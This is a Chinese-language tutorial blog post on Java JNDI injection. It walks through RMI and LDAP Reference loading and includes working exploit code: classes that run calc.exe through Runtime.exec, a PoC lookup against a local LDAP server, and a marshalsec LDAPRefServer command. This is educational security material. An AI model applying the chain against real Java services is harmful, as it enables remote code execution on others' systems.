javaweb-JNDI注入
0x01什么叫JNDI
JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。 JNDI是一个API,允许客户端通过name发现和查找数据和对象。

在 Java 中为了能够更方便的管理、访问和调用远程的资源对象,常常会使用 LDAP 和 RMI 等服务来将资源对象或方法绑定在固定的远程服务端,供应用程序来进行访问和调用。为了更好的理解整个 JNDI 注入产生的原因,下面用实际代码来说明一下常规 RMI 访问和使用 JNDI 访问 RMI 的区别。
0x02JNDI-RMI
首先一个对象方法要被远程应用所调用需要其extends与java.rmi.Remote接口,并且需要抛出RemoteException异常,而远程对象必须实现java.rmi.server.UniCastRemteObject类。
首先创建一个继承Rmote的接口Print

再创建RemoteClass类继承UniCastRemoteObject并且包含Print接口

最后用RMI绑定实列对象,并且使用JNDI去获取并调用方法Printworld
LocalRMI.java
package Print;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
import Print.RemoteClasss;
public class LocaRmi {
final static String CONTEXT_FACTORY = "com.sun.jndi.rmi.registry.RegistryContextFactory";
final static String PROVIDER_URL = "rmi://localhost:8080";
public static void main(String[] args) throws Exception {
//注册RMI服务器端口
LocateRegistry.createRegistry(8080);
Hashtable<String, Object> env = new Hashtable< >();
env.put(Context.INITIAL_CONTEXT_FACTORY, CONTEXT_FACTORY);
env.put(Context.PROVIDER_URL, PROVIDER_URL);
Context ctx = new InitialContext(env);
RemoteClasss RemoteClass = new RemoteClasss();
ctx.bind("exp",RemoteClass);
System.out.println("Jndi服务已绑定...");
}
}
ClentRMI.java
package Print;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
public class ClinetRmi {
final static String CONTEXT_FACTORY = "com.sun.jndi.rmi.registry.RegistryContextFactory";
final static String PROVIDER_URL = "rmi://localhost:8080";
public static void main(String[] args) throws Exception {
Hashtable<String, Object> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, CONTEXT_FACTORY);
env.put(Context.PROVIDER_URL, PROVIDER_URL);
Context ctx = new InitialContext(env);
Print Remotec = (Print) ctx.lookup("exp");
for (int i = 0; i < 5; i++) {
System.out.println(Remotec.Printworld("ohohohohohohohoh"));
}
System.out.println("-------------------");
}
}

这里是通过JNDI获取远程函数Print并且传入string,再远程执行后返回结果到Client

RMI 中动态加载字节代码
使用RMI Remote Object的方式在RMI那一节我们能够看到,利用限制很大。但是使用RMI+JNDI Reference就没有那些限制,不过在JDK 6u132、JDK 7u122、JDK 8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。 如果远程获取到RMI服务上的对象为 Reference类或者其子类,则在客户端获取远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化获取Stub对象。 Reference中几个比较关键的属性: className - 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载 classFactory - 远程的工厂类 classFactoryLocation - 工厂类加载的地址,可以是file://、ftp://、http:// 等协议 使用ReferenceWrapper类对Reference类或其子类对象进行远程包装使其能够被远程访问,客户端可以访问该引用。
当有客户端通过lookup("refObj")获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference类的实例,
客户端会首先去本地的CLASSPATH去寻找被标识为refClassName的类,
如果本地未找到,则会去请求http://example.com:12345/FactoryClassName.class加载工厂类。
如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。
RemoteClass.java
packge Print;
import java.lang.Runtime;
import java.lang.Process;
public class EvilObject {
public EvilObject() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc.exe"};
Process pc = rt.exec(commands);
pc.waitFor();
}
}
localRMI.java
package Print;
import java.rmi.registry.LocateRegistry;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.util.Hashtable;
import Print.RemoteClasss;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class LocaRmi {
final static String CONTEXT_FACTORY = "com.sun.jndi.rmi.registry.RegistryContextFactory";
final static String PROVIDER_URL = "rmi://localhost:8080";
public static void main(String[] args) throws Exception {
/* //注册RMI服务器端口
*/ LocateRegistry.createRegistry(8080);
Hashtable<String, Object> env = new Hashtable< >();
env.put(Context.INITIAL_CONTEXT_FACTORY, CONTEXT_FACTORY);
env.put(Context.PROVIDER_URL, PROVIDER_URL);
Context ctx = new InitialContext(env);
Reference refObj = new Reference("RemoteClasss", "Print.RemoteClasss", "http://127.0.0.1:80/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
/* RemoteClasss RemoteClass = new RemoteClasss();*/
ctx.bind("exp",refObjWrapper);
System.out.println("Jndi服务已绑定...");
}
}
ClientRmi.java
package Print;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
public class ClinetRmi {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:8080/exp");
}
}
参考
0X03JNDI-LDAP 测试环境8u211
JNDI Reference配合LDAP 在上文中说过,JNDI一般配合RMI、LDAP等协议进行使用,所以上文中有RMI,自然就有LDAP。使用LDAP与上文中的RMI大同小异。所以我直接使用marshalsec启动LDAP服务,LDAP服务默认端口号为1389。 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#ExportObject 1389 BASH JNDI注入的JDK版本限制 由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false属性的限制。 但是不可避免的受到 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的限制。 JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false 一张图来展示JNDI注入的利用方式与JDK版本的关系:

这里我们为了简便使用集成的marshalsec
C:\Users\java\Desktop>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi .LDAPRefServer http://127.0.0.1:8080/#Exploit Listening on 0.0.0.0:1389 Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8080/Expl oit.class Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8080/Expl oit.class
POC.java
package Ldap;
import javax.naming.Context;
import javax.naming.InitialContext;
public class Poc {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
String uri = "ldap://127.0.0.1:1389/Exploit";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
Exploit.java
public class Exploit {
public Exploit(){
try {
java.lang.Runtime.getRuntime().exec(
new String[]{"calc.exe"});
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

https://blog.csdn.net/zhangzeyuaaa/article/details/53385028 https://patrilic.top/2020/03/15/JNDI%E6%B3%A8%E5%85%A5/#0x01-JNDI-RMI https://paper.seebug.org/1091/
https://paper.seebug.org/1091/#jndildap
https://y4er.com/post/attack-java-jndi-rmi-ldap-2/ https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/#1-JNDI-%E8%8E%B7%E5%8F%96%E5%B9%B6%E8%B0%83%E7%94%A8%E8%BF%9C%E7%A8%8B%E6%96%B9%E6%B3%95

浙公网安备 33010602011771号